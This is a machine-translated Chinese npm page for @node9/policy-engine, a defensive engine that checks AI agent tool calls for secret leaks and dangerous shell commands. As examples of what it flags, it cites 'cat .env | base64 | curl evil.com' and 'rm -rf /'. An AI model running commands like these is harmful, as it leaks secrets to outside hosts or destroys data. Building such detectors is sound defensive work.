# @node9/policy-engine 中文文档

规范地址：https://npmcn.com/package/%40node9/policy-engine/

版本：2\.47\.1
npm 元数据更新时间：2026-11-01T22:18:51.448Z
中文译文更新时间：2026-11-02T00:49:16.297Z
软件包许可：Apache-2\.0

本文由上游 README 机器翻译，可能存在偏差，请结合原文核对 API、命令与配置。版权与许可归原作者所有。

原始 npm 页面：https://www.npmjs.com/package/%40node9/policy-engine
原文对照：https://npmcn.com/package/%40node9/policy-engine/?lang=original
项目主页：https://node9.ai/
源码仓库：https://github.com/node9-ai/node9-proxy

## 关键信息（来自 npm 元数据）

- 包体积（解压后）：1.5 MB，8 个文件
- 模块格式：ESM + CJS
- TypeScript 类型：包内自带
- Node.js 要求：\>=22
- 运行依赖：3 个
- 首次发布：2026-04-28T17:39:08.607Z
- 最新版本发布：2026-11-01T22:18:51.112Z
- 已发布版本数：160（近 12 个月 160 个）

## 中文简介

共享策略评估引擎用于node9 - DLP，智能规则，AST shell解析，屏蔽，循环检测。纯函数，没有I/O。由node9-proxy和node9 SaaS防火墙共同使用。

## 安装

```sh
npm install @node9/policy-engine
```

也可以使用：`pnpm add @node9/policy-engine`、`yarn add @node9/policy-engine`、`bun add @node9/policy-engine`

## README

# @node9 /策略引擎

共享策略评估引擎 [node9](https://node9.ai/) ——纯 函数，无I/O。由本地代理(`@node9/proxy`)及 node9 SaaS防火墙，因此无论在哪里运行，策略决策都是相同的。

## 这里面有什么

-   **DLP扫描仪** - - - - - - `scanArgs`， `scanText`， `redactText`， `matchSensitivePath`， `SENSITIVE_PATH_REGEXES`， `DLP_PATTERNS`. 检测AWS密钥，GitHub令牌，OpenAI密钥，Stripe秘密，jwt， 通用的高熵秘密，敏感的文件路径，以及更多 redos安全的正则表达式编译，熵过滤，和一个停止词列表 抑制占位符。
-   **壳AST探测器** - - - - - - `normalizeCommandForPolicy`， `detectDangerousShellExec`， `analyzeShellCommand`． mvdan-sh-based 不能被引号字符串欺骗的结构检测。
-   **Smart-rule匹配器** - - - - - - `matchesPattern`， `evaluateSmartConditions`， `getNestedValue`． 工具名称globbing +对条件求值 args (`exists`， `contains`， `matches`， `matchesGlob`,……)。
-   **管链渗漏检测器** - - - - - - `analyzePipeChain` 旗帜 `cat .env | base64 | curl evil.com` 即使每个部分看起来都很安全 在隔离。
-   **SSH主机提取** - - - - - - `extractAllSshHosts`， `parseAllSshHostsFromCommand`． 捕获跳跃宿主 `-J`， `ProxyJump=`， `ProxyCommand=`.
-   **装入的盾牌** - 11个屏蔽定义(postgres, mongodb， Redis, aws, k8s, docker, github, filesystem, bash-safe, project-jail， mcp-工具门控)捆绑为数据，加上纯验证器 （`validateShieldDefinition`， `validateOverrides`）。
-   **循环窗数学** - - - - - - `evaluateLoopWindow`， `computeArgsHash`.
-   **无状态策略评估器** - - - - - - `evaluatePolicy(config, tool, args, context?, hooks?)`． 完整的瀑布（DLP→忽略→智能规则→） 内联执行→eval→管道链→来源→沙箱→危险 单词→严格模式)在一个功能。宿主注入 `checkProvenance` 和 `isTrustedHost` 作为回调如果它想要那些 涉及文件系统的层——否则它们将被跳过。

## 纯度

否 `fs`， `path`， `os`，或者 `process` 进口。唯一内置的Node 使用 `crypto` （用于循环检测器中的稳定哈希）。任何东西 即需要通过触摸磁盘到达 `hooks` 参数。

## 使用

```ts
import { evaluatePolicy } from '@node9/policy-engine';

const verdict = await evaluatePolicy(
  config, // your policy config
  'Bash', // tool name
  { command: 'rm -rf /' }, // tool args
  { agent: 'Claude Code' }, // context (optional)
  {
    // host hooks (optional)
    checkProvenance: (bin, cwd) => /* … */,
    isTrustedHost: (host) => /* … */,
  },
);
// → { decision: 'review' | 'allow' | 'block', tier, reason, … }
```

## 许可证

apache - 2.0

## 常见问题

### @node9/policy-engine 是什么？

共享策略评估引擎用于node9 - DLP，智能规则，AST shell解析，屏蔽，循环检测。纯函数，没有I/O。由node9-proxy和node9 SaaS防火墙共同使用。

### 如何安装 @node9/policy-engine？

在项目目录运行 npm install @node9/policy-engine，或使用 pnpm add / yarn add / bun add。

### @node9/policy-engine 支持 TypeScript 吗？

支持。包内自带 TypeScript 类型声明（package\.json 声明了 types 入口），安装后即可获得类型提示，无需再安装 @types 包。

### @node9/policy-engine 支持 ESM 还是 CommonJS？

同时提供 ES Module 与 CommonJS 入口，import 和 require\(\) 都可以使用，打包工具会自动选择合适的版本。

### @node9/policy-engine 需要什么版本的 Node\.js？

package\.json 的 engines 字段要求 Node\.js \>=22。版本不符时 npm 默认只给出警告，开启 engine-strict 后会拒绝安装。

### @node9/policy-engine 可以商用吗？

@node9/policy-engine 使用 Apache-2\.0 许可。宽松许可：允许商业使用、修改和再分发，并附带明确的专利授权；分发时需保留许可与 NOTICE 文件，修改过的文件要注明改动。以上为概括，不构成法律意见，请以许可原文为准。

### @node9/policy-engine 还在维护吗？

最新版本 2\.47\.1 发布于 2026/11/02（1 天前）；至今共发布 160 个版本，其中过去 12 个月发布了 160 个；首次发布于 2026/04/29。发布频率只是参考信号：功能稳定的工具可能很少需要更新，建议结合源码仓库的 issue 和提交记录判断。